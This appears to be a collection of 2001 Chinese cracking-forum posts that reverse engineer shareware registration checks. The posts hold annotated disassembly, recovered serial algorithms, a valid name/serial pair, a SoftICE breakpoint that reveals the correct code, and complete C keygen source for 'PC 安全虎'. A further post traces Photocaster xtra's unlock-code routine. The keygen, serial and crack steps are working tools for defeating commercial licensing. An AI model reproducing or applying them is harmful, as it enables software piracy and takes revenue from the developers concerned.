* Possible Reference to Dialog: DialogID_01BF, CONTROL_ID:00FF, ""
|
:0041BB00 6AFF push FFFFFFFF
:0041BB02 68B0CC4500 push 0045CCB0
:0041BB07 64A100000000 mov eax, dword ptr fs:[00000000]
:0041BB0D 50 push eax
:0041BB0E 64892500000000 mov dword ptr fs:[00000000], esp
:0041BB15 83EC10 sub esp, 00000010
:0041BB18 53 push ebx
:0041BB19 55 push ebp
:0041BB1A 56 push esi
:0041BB1B 57 push edi
:0041BB1C 8BD9 mov ebx, ecx
:0041BB1E 51 push ecx
:0041BB1F 8D442434 lea eax, dword ptr [esp+34]<----------lanc
:0041BB23 8BCC mov ecx, esp
:0041BB25 89642420 mov dword ptr [esp+20], esp
:0041BB29 50 push eax
:0041BB2A C744243005000000 mov [esp+30], 00000005
:0041BB32 E8B5350200 call 0043F0EC
:0041BB37 8BCB mov ecx, ebx
:0041BB39 E852010000 call 0041BC90<-----(1.1.1)(2.1.1)(3.1.1.1)-----0x40f3abfb,算法见下
:0041BB3E 51 push ecx
:0041BB3F 8D542438 lea edx, dword ptr [esp+38]<----------elot
:0041BB43 8BCC mov ecx, esp
:0041BB45 89642420 mov dword ptr [esp+20], esp
:0041BB49 52 push edx
:0041BB4A 8BF0 mov esi, eax<-------------------------0x40f3abfb
:0041BB4C E89B350200 call 0043F0EC
:0041BB51 8BCB mov ecx, ebx
:0041BB53 E838010000 call 0041BC90<------(1.1.2)(2.1.2)(3.1.1.2)----0x8a83570c,算法见下
:0041BB58 8BF8 mov edi, eax<-------------------------0x8a83570c
:0041BB5A 8B442438 mov eax, dword ptr [esp+38]<----------8430
:0041BB5E 50 push eax
:0041BB5F E855D50000 call 004290B9<------------------------转换成16进制,8430==0x20ee
:0041BB64 8B4C2440 mov ecx, dword ptr [esp+40]<----------1100
:0041BB68 89442414 mov dword ptr [esp+14], eax
:0041BB6C 51 push ecx
:0041BB6D E847D50000 call 004290B9<------------------------转换成16进制,1100==0x44c
:0041BB72 8B542448 mov edx, dword ptr [esp+48]<----------1088
:0041BB76 8944241C mov dword ptr [esp+1C], eax
:0041BB7A 52 push edx
:0041BB7B E839D50000 call 004290B9<------------------------转换成16进制,1088==0x440
:0041BB80 89442424 mov dword ptr [esp+24], eax
:0041BB84 8B442450 mov eax, dword ptr [esp+50]<----------3617
:0041BB88 50 push eax
:0041BB89 E82BD50000 call 004290B9<------------------------转换成16进制,3617==0xe21
:0041BB8E 83C410 add esp, 00000010
:0041BB91 8944241C mov dword ptr [esp+1C], eax
:0041BB95 33C9 xor ecx, ecx
:0041BB97 BA20000000 mov edx, 00000020

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BBE1(C)
|
:0041BB9C 8B6C2410 mov ebp, dword ptr [esp+10]<----------0x20ee
:0041BBA0 8BC7 mov eax, edi<-------------------------0x8a83570c
:0041BBA2 C1E004 shl eax, 04<--------------------------0x8a83570c<<4==0xa83570c0
:0041BBA5 03C5 add eax, ebp<-------------------------0xa83570c0+0x20ee==0xa83591ae
:0041BBA7 8B6C2414 mov ebp, dword ptr [esp+14]<----------0x44c
:0041BBAB 03C6 add eax, esi<-------------------------0xa83591ae+0x44c==0xe9293da9
:0041BBAD 8BF7 mov esi, edi
:0041BBAF C1EE05 shr esi, 05<--------------------------0x8a83570c>>5==0x4541ab8
:0041BBB2 81E94786C861 sub ecx, 61C88647<--------------------0x9e3779b9
:0041BBB8 03F5 add esi, ebp<-------------------------0x4541ab8+0x44c==0x4541f04
:0041BBBA 8B6C2418 mov ebp, dword ptr [esp+18]<----------0x440
:0041BBBE 33C6 xor eax, esi<-------------------------0xe9293da9^0x440 ==0xed7d22ad
:0041BBC0 8D3439 lea esi, dword ptr [ecx+edi]<---------0x9e3779b9+0x8a83570c==0x28dab0c5
:0041BBC3 33F0 xor esi, eax<-------------------------0x28dab0c5^0xed7d22ad==0xc5c7f268
:0041BBC5 8BC6 mov eax, esi
:0041BBC7 C1E004 shl eax, 04<--------------------------0xc5c7f268<<4==0x5c7f2680
:0041BBCA 03C5 add eax, ebp<-------------------------0x5c7f2680+0x440==0x5c7f2ac0
:0041BBCC 8B6C241C mov ebp, dword ptr [esp+1C]<----------0xe21
:0041BBD0 03C7 add eax, edi<-------------------------0x5c7f2ac0+0x8a83570c==0xe70281cc
:0041BBD2 8BFE mov edi, esi
:0041BBD4 C1EF05 shr edi, 05<--------------------------0xc5c7f268>>5==0x62e3f93
:0041BBD7 03FD add edi, ebp<-------------------------0x62e3f93+0xe21==0x62e4db4
:0041BBD9 33C7 xor eax, edi<-------------------------0xe70281cc^0x62e4db4==0xe12ccc78
:0041BBDB 8D3C31 lea edi, dword ptr [ecx+esi]<---------0x9e3779b9+0xc5c7f268==0x63ff6c21
:0041BBDE 33F8 xor edi, eax<-------------------------0xe12ccc78^0x63ff6c21==0x82d3a059
:0041BBE0 4A dec edx<------------------------------0x20
:0041BBE1 75B9 jne 0041BB9C<-------------------------天啊,计算32次?!
:0041BBE3 8BC6 mov eax, esi
:0041BBE5 99 cdq
:0041BBE6 8BC8 mov ecx, eax<-------------------------0x73dc15df
:0041BBE8 8BC7 mov eax, edi<-------------------------0x1aa72435
:0041BBEA 33CA xor ecx, edx<-------------------------0x73dc15df^0==0x73dc15df
:0041BBEC 2BCA sub ecx, edx<-------------------------0x73dc15df-0==0x73dc15df
:0041BBEE 99 cdq
:0041BBEF 8BF0 mov esi, eax<-------------------------0x1aa72435
:0041BBF1 51 push ecx
:0041BBF2 8D4B04 lea ecx, dword ptr [ebx+04]
:0041BBF5 33F2 xor esi, edx

* Possible StringData Ref from Data Obj ->"%ld"
|
:0041BBF7 68F07B4700 push 00477BF0
:0041BBFC 51 push ecx
:0041BBFD 2BF2 sub esi, edx
:0041BBFF E824D70100 call 00439328<------------------------转换成10进制,0x73dc15df==1943803359
:0041BC04 83C40C add esp, 0000000C
:0041BC07 83C308 add ebx, 00000008
:0041BC0A 56 push esi

* Possible StringData Ref from Data Obj ->"%ld"
|
:0041BC0B 68F07B4700 push 00477BF0
:0041BC10 53 push ebx
:0041BC11 E812D70100 call 00439328<------------------------转换成10进制,0x1aa72435==447161397

... ... 略 ... ...

:0041BC82 C21800 ret 0018
========================================================
================================================================================================
* Referenced by a CALL at Addresses:<----------------------------call (1.1.1)(2.1.1)(3.1.1.2)
|:0041BB39 , :0041BB53
|

* Possible Reference to Dialog: DialogID_01BF, CONTROL_ID:00FF, ""
|
:0041BC90 6AFF push FFFFFFFF
:0041BC92 68D8CC4500 push 0045CCD8
:0041BC97 64A100000000 mov eax, dword ptr fs:[00000000]
:0041BC9D 50 push eax
:0041BC9E 64892500000000 mov dword ptr fs:[00000000], esp
:0041BCA5 83EC0C sub esp, 0000000C
:0041BCA8 53 push ebx
:0041BCA9 56 push esi
:0041BCAA A190814700 mov eax, dword ptr [00478190]
:0041BCAF 33F6 xor esi, esi
:0041BCB1 8974241C mov dword ptr [esp+1C], esi
:0041BCB5 8944240C mov dword ptr [esp+0C], eax
:0041BCB9 C644241C01 mov [esp+1C], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BD21(C)
|
:0041BCBE 6A01 push 00000001
:0041BCC0 8D4C2414 lea ecx, dword ptr [esp+14]
:0041BCC4 56 push esi
:0041BCC5 51 push ecx
:0041BCC6 8D4C2430 lea ecx, dword ptr [esp+30]
:0041BCCA E827D10100 call 00438DF6
:0041BCCF 8B00 mov eax, dword ptr [eax]<---------------注册码第1位'l'==0x6c
:0041BCD1 8D4C2410 lea ecx, dword ptr [esp+10]
:0041BCD5 8A18 mov bl, byte ptr [eax]
:0041BCD7 E89B360200 call 0043F377
:0041BCDC 8B1590814700 mov edx, dword ptr [00478190]
:0041BCE2 89542408 mov dword ptr [esp+08], edx
:0041BCE6 0FBEC3 movsx eax, bl
:0041BCE9 50 push eax
:0041BCEA 8D4C240C lea ecx, dword ptr [esp+0C]

* Possible StringData Ref from Data Obj ->"%d"
|
:0041BCEE 6820784700 push 00477820
:0041BCF3 51 push ecx
:0041BCF4 C644242802 mov [esp+28], 02
:0041BCF9 E82AD60100 call 00439328<------------------------转换成10进制,0x6c==108
:0041BCFE 83C40C add esp, 0000000C
:0041BD01 8D542408 lea edx, dword ptr [esp+08]<----------108
:0041BD05 8D4C240C lea ecx, dword ptr [esp+0C]
:0041BD09 52 push edx
:0041BD0A E8803A0200 call 0043F78F
:0041BD0F 8D4C2408 lea ecx, dword ptr [esp+08]
:0041BD13 C644241C01 mov [esp+1C], 01
:0041BD18 E85A360200 call 0043F377
:0041BD1D 46 inc esi
:0041BD1E 83FE04 cmp esi, 00000004<-----------------循环计算,并把结果放在一起
:0041BD21 7C9B jl 0041BCBE<-----------------------1089711099
:0041BD23 8B44240C mov eax, dword ptr [esp+0C]
:0041BD27 50 push eax
:0041BD28 E88CD30000 call 004290B9<---------------------转换成16进制,1089711099==0x40f3abfb
:0041BD2D 83C404 add esp, 00000004
:0041BD30 8D4C240C lea ecx, dword ptr [esp+0C]
:0041BD34 8BF0 mov esi, eax<-----------------------0x40f3abfb
:0041BD36 C644241C00 mov [esp+1C], 00
:0041BD3B E837360200 call 0043F377
:0041BD40 8D4C2424 lea ecx, dword ptr [esp+24]
:0041BD44 C744241CFFFFFFFF mov [esp+1C], FFFFFFFF
:0041BD4C E826360200 call 0043F377
:0041BD51 8B4C2414 mov ecx, dword ptr [esp+14]
:0041BD55 8BC6 mov eax, esi
:0041BD57 5E pop esi
:0041BD58 5B pop ebx
:0041BD59 64890D00000000 mov dword ptr fs:[00000000], ecx
:0041BD60 83C418 add esp, 00000018
:0041BD63 C20400 ret 0004
================================================================================================
* Referenced by a CALL at Address:<-------------------------------------call (3)
|:0041C4EE
|

* Possible Reference to Dialog: DialogID_01BF, CONTROL_ID:00FF, ""
|
:0041C250 6AFF push FFFFFFFF

... ... 略 ... ...

:0041C2D3 57 push edi
:0041C2D4 C644243003 mov [esp+30], 03
:0041C2D9 E8A2FCFFFF call 0041BF80<-------------(3.1)--------又是它,算法同call(1)
:0041C2DE C744241001000000 mov [esp+10], 00000001 参数不同,而已
:0041C2E6 8D4C2408 lea ecx, dword ptr [esp+08]
:0041C2EA C644242402 mov [esp+24], 02
:0041C2EF E883300200 call 0043F377
:0041C2F4 8D4C240C lea ecx, dword ptr [esp+0C]
:0041C2F8 C644242401 mov [esp+24], 01
:0041C2FD E875300200 call 0043F377
:0041C302 8D4C2430 lea ecx, dword ptr [esp+30]
:0041C306 C644242400 mov [esp+24], 00
:0041C30B E867300200 call 0043F377
:0041C310 8B4C241C mov ecx, dword ptr [esp+1C]
:0041C314 8BC7 mov eax, edi
:0041C316 5F pop edi
:0041C317 64890D00000000 mov dword ptr fs:[00000000], ecx
:0041C31E 5E pop esi
:0041C31F 83C420 add esp, 00000020
:0041C322 C20800 ret 0008
====================================================================================================
用户名：lancelot[CCG]
注册码：299343965474195577
=================================================================================================

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.24
)_\ )_\


PC 安全虎[Beta 1]

 标 题:PC 安全虎[Beta 1]算法分析 (6千字)
发信人:PaulYoung[CCG]
时 间:2001-12-5 20:35:53
详细信息:
PC 安全虎[Beta 1]算法分析

作者：PaulYoung （ 属于 China Cracking Group ）
简介：不要再为朋友用自己电脑玩游戏、看影碟、乱装东西而烦恼不要再为孩子上有不健康内容的网站而担心,不要再怕老弟偷用电话上网，PC安全虎全都轻松搞定！！
下载：http://shareware.onlinedown.net/download.asp?id={B2594856-886B-4224-A457-53C0976CB2B6}
工具：SoftICE v4.05
日期：2001-12-05

*************************************************************************************************

    输入用户名、假注册码，用 SoftICE V4.05 设断 bpx hmemcpy ,中断后按8下F12，F10单步跟踪，直到……

:00408AD6 E825D50000 call 00416000 //验证注册码，F8跟入
:00408ADB 83C408 add esp, 00000008
:00408ADE 8945C8 mov dword ptr [ebp-38], eax
:00408AE1 837DC800 cmp dword ptr [ebp-38], 00000000
:00408AE5 0F84AF000000 je 00408B9A

    继续按F10，直到……

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004161B6(U)
|
:0041615E 8B8574FFFFFF mov eax, dword ptr [ebp+FFFFFF74]
:00416164 83C001 add eax, 00000001
:00416167 898574FFFFFF mov dword ptr [ebp+FFFFFF74], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041615C(U)
|
:0041616D 8B4DF0 mov ecx, dword ptr [ebp-10]
:00416170 038D74FFFFFF add ecx, dword ptr [ebp+FFFFFF74]
:00416176 0FBE11 movsx edx, byte ptr [ecx]　 //依次取用户名字符的 ASCII 值，保存到 edx
:00416179 85D2 test edx, edx 　　　　　 //比较 edx 是否为0，即比较是否取完用户名
:0041617B 743B je 004161B8　　 　　　　　　//取完即跳
:0041617D 83BD74FFFFFF1E cmp dword ptr [ebp+FFFFFF74], 0000001E //取了多少个字符？
:00416184 7D32 jge 004161B8 　　　 　 //取够30个则跳
:00416186 8B45F0 mov eax, dword ptr [ebp-10]
:00416189 038574FFFFFF add eax, dword ptr [ebp+FFFFFF74]
:0041618F 0FBE00 movsx eax, byte ptr [eax]　 //依次取字符的 ASCII 送 eax
:00416192 8B8D74FFFFFF mov ecx, dword ptr [ebp+FFFFFF74]
:00416198 03848D78FFFFFF add eax, dword ptr [ebp+4*ecx-00000088] //eax=eax+[ebp+4*ecx-00000088]这个变量
:0041619F 99 cdq　　 //edx 清零
:004161A0 B917000000 mov ecx, 00000017　//把 ecx 置值为0x17
:004161A5 F7F9 idiv ecx　　　　　 //eax/ecx ，商放在 eax ,余数放在 edx
:004161A7 83C242 add edx, 00000042 //edx=余数+0x42
:004161AA 8B8574FFFFFF mov eax, dword ptr [ebp+FFFFFF74]
:004161B0 8890E07A4800 mov byte ptr [eax+00487AE0], dl //把每次计算结果的ASCII值保存
:004161B6 EBA6 jmp 0041615E //继续取下一个字符

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041617B(C), :00416184(C)
|
:004161B8 8B8D74FFFFFF mov ecx, dword ptr [ebp+FFFFFF74]
:004161BE C681E07A480000 mov byte ptr [ecx+00487AE0], 00

* Possible Reference to Dialog:
|
:004161C5 68E07A4800 push 00487AE0　　 //计算结果入栈
:004161CA E8E1DB0000 call 00423DB0
:004161CF 83C404 add esp, 00000004
:004161D2 83F805 cmp eax, 00000005 //用户名长度大于5吗
:004161D5 7712 ja 004161E9　　　　　//大于则跳

* Possible Reference to Dialog:
|
:004161D7 6828254800 push 00482528 //不跳则 CNIAWFKU 入栈
:004161DC 68E07A4800 push 00487AE0　　　 //0＜用户名≤5时的计算结果入栈
:004161E1 E80AE10000 call 004242F0 //组成一个字符串
:004161E6 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004161D5(C)
|

* Possible Reference to Dialog:
|
:004161E9 68E07A4800 push 00487AE0 //正确注册码入栈
:004161EE 8D4D0C lea ecx, dword ptr [ebp+0C] //输入的假注册码放到[ebp+0C]
:004161F1 E8BAB1FEFF call 004013B0 //真假注册码比较
:004161F6 85C0 test eax, eax
:004161F8 752D jne 00416227 //不等则跳，跳则死
:004161FA C7856CFFFFFF01000000 mov dword ptr [ebp+FFFFFF6C], 00000001
:00416204 C645FC00 mov [ebp-04], 00
:00416208 8D4D08 lea ecx, dword ptr [ebp+08]
:0041620B E8F2C50200 call 00442802
:00416210 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00416217 8D4D0C lea ecx, dword ptr [ebp+0C]
:0041621A E8E3C50200 call 00442802
:0041621F 8B856CFFFFFF mov eax, dword ptr [ebp+FFFFFF6C]
:00416225 EB2B jmp 00416252

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004161F8(C)
|
:00416227 C78568FFFFFF00000000 mov dword ptr [ebp+FFFFFF68], 00000000
:00416231 C645FC00 mov [ebp-04], 00
:00416235 8D4D08 lea ecx, dword ptr [ebp+08]
:00416238 E8C5C50200 call 00442802
:0041623D C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00416244 8D4D0C lea ecx, dword ptr [ebp+0C]
:00416247 E8B6C50200 call 00442802
:0041624C 8B8568FFFFFF mov eax, dword ptr [ebp+FFFFFF68]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00416068(U), :00416225(U)
|
:00416252 8B4DF4 mov ecx, dword ptr [ebp-0C]
:00416255 64890D00000000 mov dword ptr fs:[00000000], ecx
:0041625C 8BE5 mov esp, ebp
:0041625E 5D pop ebp
:0041625F C3 ret

算法总结：
    1、先将用户名每个字符的 ASCII 值加上一个数，这个数按其所在位数不同而不同。从第1位开始，1～30位所加的数依次为（十进制）：23、15、18、17、4、21、24、2、19、7、22、10、11、13、5、72、238、118、29、103、105、161、27、122、140、71、248、84、149、151。
    2、每位字符与上述对应的数相加后所得的和，除以 0x17 ，求得一个余数。余数再与 0x42 相加和的 ASCII 的值，作为对应用户名位数的注册码，把用户名各个字符计算出的结果依次排列成串。
    3、当0＜用户名≤5时，在计算结果后加上" CNIAWFKU "，作为正确的注册码。
    4、当5＜用户名≤30时，根据用户名各位字符的ASCII值计算出结果（ASCII)，排列成串直接作为正确的注册码。
    5、31位（包括31位）以后的字符，不列入计算范围，即注册码最长为30位。
    6、中文算2个字符。

    呵……算法其实非常的简单，只是有点罗嗦。不过，如果这样这样设断点的话，就不烦了， bpx 4161E9 do "d 487AE0" ，直接可见到正确注册码。呵……*^_^*

标 题:PC 安全虎[Beta 1] TC 2.0 注册机源码（好友Ann★Tonny根据本人算法编写，非常感谢！） (833字)
发信人:PaulYoung[CCG]
时 间:2001-12-7 23:43:45
详细信息:

 # include <stdio.h>
static int key[80]={23,15,18,17,4,21,24,2,19,7,22,10,11,13,5,72,238,118,29,103,105,161,27,122,140,71,248,84,149,151};
void main()
{
char name[80],password[80],*p=name;
int i=0,j=0,*p1=key;
printf("!!!!For PC_tiger[Bata 1]!!!!\n");
printf("Input your name:");
gets(name);

while((*p)!='\0')
{    password[i]=(char)((((int)*p)+*p1)%0x17+0x42);
p++;p1++;i++;
};
printf("Your Password is:");
if(i<=5)
{  for (j=0;j<=i-1;j++)printf("%c",password[j]);
printf("CNIAWFKU\n");
};
if(i<=30&&i>5)  {for (j=0;j<=i-1;j++)
  printf("%c",password[j]);
printf("\n");
};
if(i>30) {for (j=0;j<=29;j++) printf("%c",password[j]);printf("\n");
};

printf(" ***CODE BY Ann★Tonny*** \n");

}


Photocaster xtra v3.0.3

 标 题:Photocaster xtra v3.0.3 注册过程的分析 (15千字)
发信人:robot
时 间:2001-11-22 23:07:50
详细信息:
软件简介：Director的一个插件，支持直接导入用PhotoShop的分层PSD图形文件，并按原样在舞台上自动排列。未注册版会在导入的图形中加上很多蓝色的斜线，从而导致无法正常使用。我在Director中用了一下，感觉确实很不错，稍微遗憾的是，该软件在读取含有汉字的图层文件时，对汉字有点“水土不服”，显示有问题，不过，可以在Director下编辑该层，重新输入一遍汉字就OK了。
下载地址：http://www.medialab.com/downloads/PhotoCaster3Win.zip
引用网页：http://www.medialab.com/products/downloadlist.htm
目标文件：Photocaster.x32 380928 bytes
分析工具：SoftICE 4.05，IDA Pro 4.15
Director运行版本：8.5，序列号：WDW850-02044-87235-26475
前言：这个xtra是网上的一个朋友huihuicn问的，当时问我是否有这个xtra，于是我就用google搜索了一下，还真找到了下载URL，顺便还找到了一篇关于Photocaster v2的破解文章，这篇文章对我进行分析还是有不少帮助的，让我知道了一些信息，少走了一些弯路，感谢该文的作者。另外，这个xtra有点奇怪，没有什么壳，但不能用W32Dasm反汇编，估计该软件可能作了防W32Dasm处理。不过用IDA可以反汇编，这正是我所希望的(否则在SoftICE中分析岂不痛苦？)。

破解过程：首先Photocaster.x32复制到Director的xtra文件夹(我一般是新建个Photocaster文件夹，然后将相关文件复制到该文件夹下，这样便于管理)，启动Director 8.5，选择Insert-->Media Lab Media-->PhotoCaster，调入PhotoCaster，单击About按钮，填入Unlock Code：654321，Ctrl+D进入SoftICE，设断：bpx getdlgitemtexta，来到下面：

:10017281 call ds:GetDlgItemTextA ;取得注册码字符串
:10017287 test eax, eax
:10017289 jz loc_1001733B
:1001728F lea eax, [esp+2Ch+String]
:10017293 mov ecx, esi
:10017295 push eax
:10017296 call sub_1001C640 ;计算并比对的call
:1001729B test eax, eax ;eax做旗标
:1001729D jz loc_1001733B ;等于0则错误

:1001C640 arg_0 = 注册码
:1001C640 sub esp, 5Ch
:1001C643 push ebx
:1001C644 mov ebx, [esp+60h+arg_0]

:1001C65F mov edi, ebx
:1001C661 or ecx, 0FFFFFFFFh
:1001C664 xor eax, eax
:1001C666 repne scasb
:1001C668 not ecx
:1001C66A dec ecx
:1001C66B cmp ecx, 6 ;注册码长度是否为6
:1001C66E jz short loc_1001C679 ;是则转
:1001C670 pop edi

:1001C679 push ebx
:1001C67A call sub_100024F0 ;将大写字符转为小写
:1001C67F mov al, [ebx+5] ;取第6个注册码字符
:1001C682 add esp, 4
:1001C685 cmp al, 30h
:1001C687 jl short loc_1001C691
:1001C689 cmp al, 39h
:1001C68B jg short loc_1001C691
:1001C68D add al, 0D0h
:1001C68F jmp short loc_1001C693
:1001C691 add al, 0C9h
1c685-1c691为取该字符的“0-9A-Z”的排列值

:1001C693 mov esi, [esi+10h] ;常数，我的是23675，这个值很关键，后面说其产生过程
:1001C696 movsx edi, al ;第一个注册码的取值放到edi
:1001C699 push esi
:1001C69A mov [esp+6Ch+var_3C], edi
:1001C69E call _atol ;转为长整数
:1001C6A3 add esp, 4
:1001C6A6 add eax, edi ;加上第一个注册码的值
:1001C6A8 push eax
:1001C6A9 push offset a05lu ; "%05lu"
:1001C6AE push esi
:1001C6AF call _sprintf ;转为字符串
:1001C6B4 push 5
:1001C6B6 mov [esp+78h+var_33], 0
:1001C6BB mov [esp+78h+var_30], 7
:1001C6C3 mov [esp+78h+var_2C], 0Bh
:1001C6CB mov [esp+78h+var_28], 0Dh
:1001C6D3 mov [esp+78h+var_24], 11h
:1001C6DB mov [esp+78h+var_20], 13h
:1001C6E3 mov [esp+78h+var_1C], 17h
:1001C6EB mov [esp+78h+var_18], 1Dh
:1001C6F3 mov [esp+78h+var_14], 1Fh
:1001C6FB mov [esp+78h+var_10], 25h
:1001C703 mov [esp+78h+var_C], 29h
:1001C70B mov [esp+78h+var_8], 2Bh
:1001C713 mov [esp+78h+var_4], 2Fh
:1001C71B call _malloc
:1001C720 mov esi, eax
:1001C722 push 5
:1001C724 push ebx
:1001C725 push esi
:1001C726 mov [esp+84h+var_58], esi
:1001C72A call _strncpy
:1001C72F push 5
:1001C731 lea eax, [esp+88h+var_38]
:1001C735 push ebx
:1001C736 push eax
:1001C737 call _strncpy
:1001C73C mov ecx, esi
:1001C73E lea eax, [esp+90h+var_38]
:1001C742 add esp, 28h
:1001C745 xor edx, edx
:1001C747 sub ecx, eax
:1001C749 mov [esp+68h+var_44], ecx
:1001C74D lea eax, [esp+edx+68h+var_38]
:1001C751 mov bl, [ecx+eax] ;取注册码字符
:1001C754 add bl, 0D0h ;字符转为数字
:1001C757 mov [ecx+eax], bl
:1001C75A mov bl, [eax] ;取注册码字符
:1001C75C add bl, 0D0h ;字符转为数字
:1001C75F inc edx
:1001C760 cmp edx, 5
:1001C763 mov [eax], bl
:1001C765 jl short loc_1001C74D

:1001C767 mov ebx, 1
:1001C76C push ebp
:1001C76D mov [esp+6Ch+var_5C], ebx
:1001C771 xor ebp, ebp ;置初值
:1001C773 jmp short loc_1001C779

:1001C775 mov esi, [esp+6Ch+var_58]
:1001C779 mov cl, [esi+ebp] ;取注册码字符
:1001C77C mov byte ptr [esp+6Ch+var_54], cl
:1001C780 mov ecx, 5
:1001C785 mov edi, [esp+6Ch+var_54]
:1001C789 and edi, 0FFh
:1001C78F mov eax, edi
:1001C791 cdq
:1001C792 idiv ecx ;整除5
:1001C794 cmp ebp, 4 ;当前注册码是否是第5个
:1001C797 mov byte ptr [esp+6Ch+var_50], dl ;取余数值
:1001C79B jge short loc_1001C7A3 ;是则转
:1001C79D mov cl, [esi+ebp+1] ;下一个注册码
:1001C7A1 jmp short loc_1001C7A5
:1001C7A3 mov cl, [esi] ;取第1个注册码
:1001C7A5 mov al, bl
:1001C7A7 mov esi, 0Ah
:1001C7AC imul cl ;al*cl
:1001C7AE mov dl, al ;dl=al*cl
:1001C7B0 mov eax, [esp+6Ch+var_50]
:1001C7B4 and eax, 0FFh
:1001C7B9 mov byte ptr [esp+6Ch+var_4C], dl
:1001C7BD lea ecx, [esp+eax+6Ch+var_38]
:1001C7C1 mov al, [esp+eax+6Ch+var_38] ;根据1001C797语句的dl值取进行变换的字符
:1001C7C5 add al, dl ;加上dl
:1001C7C7 and eax, 0FFh ;取低位
:1001C7CC cdq
:1001C7CD idiv esi ;整除10
:1001C7CF xor esi, esi
:1001C7D1 xor eax, eax
:1001C7D3 mov [ecx], dl ;余数放到[ecx]
:1001C7D5 mov ecx, 1

:1001C7DA xor edx, edx
:1001C7DC mov dl, [esp+eax+6Ch+var_38] ;从变换的字符中取一个
:1001C7E0 imul edx, ecx ;相乘
:1001C7E3 lea ecx, [ecx+ecx*4]
:1001C7E6 add esi, edx
:1001C7E8 shl ecx, 1
:1001C7EA cmp eax, ebp
:1001C7EC jnz short loc_1001C7F2
:1001C7EE mov [esp+6Ch+var_48], ecx
:1001C7F2 inc eax
:1001C7F3 cmp eax, 5
:1001C7F6 jl short loc_1001C7DA

:1001C7F8 mov eax, ebp
:1001C7FA mov ebx, 0Bh
:1001C7FF cdq
:1001C800 idiv ebx
:1001C802 and edx, 0FFh
:1001C808 mov eax, [esp+edx*4+6Ch+var_30] ;取1001C6BB-1001C713的赋值
:1001C80C mov edx, [esp+6Ch+var_4C]
:1001C810 and edx, 0FFh
:1001C816 imul eax, edi
:1001C819 imul edx, [esp+6Ch+var_48]
:1001C81E imul edx, [esp+6Ch+var_5C]
:1001C823 add edx, esi
:1001C825 mov edi, 4
:1001C82A lea esi, [edx+eax]

:1001C82D mov eax, 66666667h ;注意66666667h/100000000h=0.4
:1001C832 mov ebx, 0Ah
:1001C837 imul ecx
:1001C839 sar edx, 2 ;0.4/4=0.1，说明ecx每次循环的计算结果均*0.1
:1001C83C mov eax, edx
:1001C83E shr eax, 1Fh
:1001C841 add edx, eax
:1001C843 mov eax, esi
:1001C845 mov ecx, edx ;即ecx=ecx/10 (语句1001C82D-1001C841的结果)
:1001C847 cdq
:1001C848 idiv ecx ;eax=esi/ecx
:1001C84A and eax, 0FFh ;取商的低位
:1001C84F cdq
:1001C850 idiv ebx ;整除10
:1001C852 mov eax, esi
:1001C854 mov [esp+edi+6Ch+var_38], dl ;余数放回
:1001C858 cdq
:1001C859 idiv ecx
:1001C85B dec edi ;计数器-1
:1001C85C mov esi, edx ;esi=esi mod ecx
:1001C85E jns short loc_1001C82D

:1001C860 mov ebx, [esp+6Ch+var_5C]
:1001C864 neg ebx ;ebx=-ebx
:1001C866 inc ebp ;计数器加1
:1001C867 mov [esp+6Ch+var_5C], ebx
:1001C86B cmp ebp, 5 ;计算了5组了吗
:1001C86E jl loc_1001C775 ;没有则继续

:1001C874 mov edx, [esp+6Ch+var_44]
:1001C878 xor ebx, ebx
:1001C87A xor ecx, ecx
:1001C87C lea eax, [esp+ecx+6Ch+var_38] ;注册码经过5次循环变换计算的结果
:1001C880 add byte ptr [edx+eax], 30h
:1001C884 add byte ptr [eax], 30h ;将变换后的字符变为数字
:1001C887 inc ecx
:1001C888 cmp ecx, 5
:1001C88B jl short loc_1001C87C
:1001C88D mov ecx, [esp+6Ch+var_58]
:1001C891 push ecx
:1001C892 call sub_1002651C
:1001C897 mov ebp, [esp+70h+var_40]
:1001C89B add esp, 4
:1001C89E xor edi, edi
:1001C8A0 xor eax, eax
:1001C8A2 mov esi, [ebp+10h]
:1001C8A5 xor edx, edx
:1001C8A7 xor ecx, ecx
:1001C8A9 mov dl, [esi+eax] ;取"23675"字符串+第6个注册码字符的变换值
:1001C8AC mov cl, [esp+eax+6Ch+var_38] ;前5个注册码变换生成的字符串
:1001C8B0 xor edx, ecx ;如果相等，则异或为0
:1001C8B2 add edi, edx ;异或结果累加
:1001C8B4 inc eax
:1001C8B5 cmp eax, 5
:1001C8B8 jl short loc_1001C8A5
:1001C8BA push esi
:1001C8BB call _atol
:1001C8C0 mov edx, [esp+70h+var_3C]
:1001C8C4 add esp, 4
:1001C8C7 sub eax, edx
:1001C8C9 push eax
:1001C8CA push offset a05lu ; "%05lu"
:1001C8CF push esi
:1001C8D0 call _sprintf
:1001C8D5 add esp, 0Ch
:1001C8D8 cmp edi, ebx ;累加结果是否为0
:1001C8DA jz short loc_1001C907 ;如果为0则注册码正确
:1001C8DC mov eax, [ebp+5Ch]
:1001C8DF mov [ebp+6Ch], ebx
:1001C8E2 mov ecx, [eax+0Ch] ;取PhotoCaster Lingo Prefs_D8.PRF文件的注册次数，文件偏移量的0Ch处
:1001C8E5 inc ecx ;注册次数加1
:1001C8E6 mov [eax+0Ch], ecx
:1001C8E9 mov edx, [ebp+5Ch]
:1001C8EC cmp dword ptr [edx+0Ch], 32h ;注册次数是否大于50，小小的一暗桩
:1001C8F0 jg short loc_1001C90E ;大于则转，假装显示注册成功
:1001C8F2 mov ecx, ebp
:1001C8F4 xor esi, esi ;失败旗标
:1001C8F6 call sub_1001B650 ;注册次数等信息写回文件(PhotoCaster Lingo Prefs_D8.PRF)
:1001C8FB pop ebp
:1001C8FC mov eax, esi ;注册失败
:1001C8FE pop edi
:1001C8FF pop esi
:1001C900 pop ebx
:1001C901 add esp, 5Ch
:1001C904 retn 4
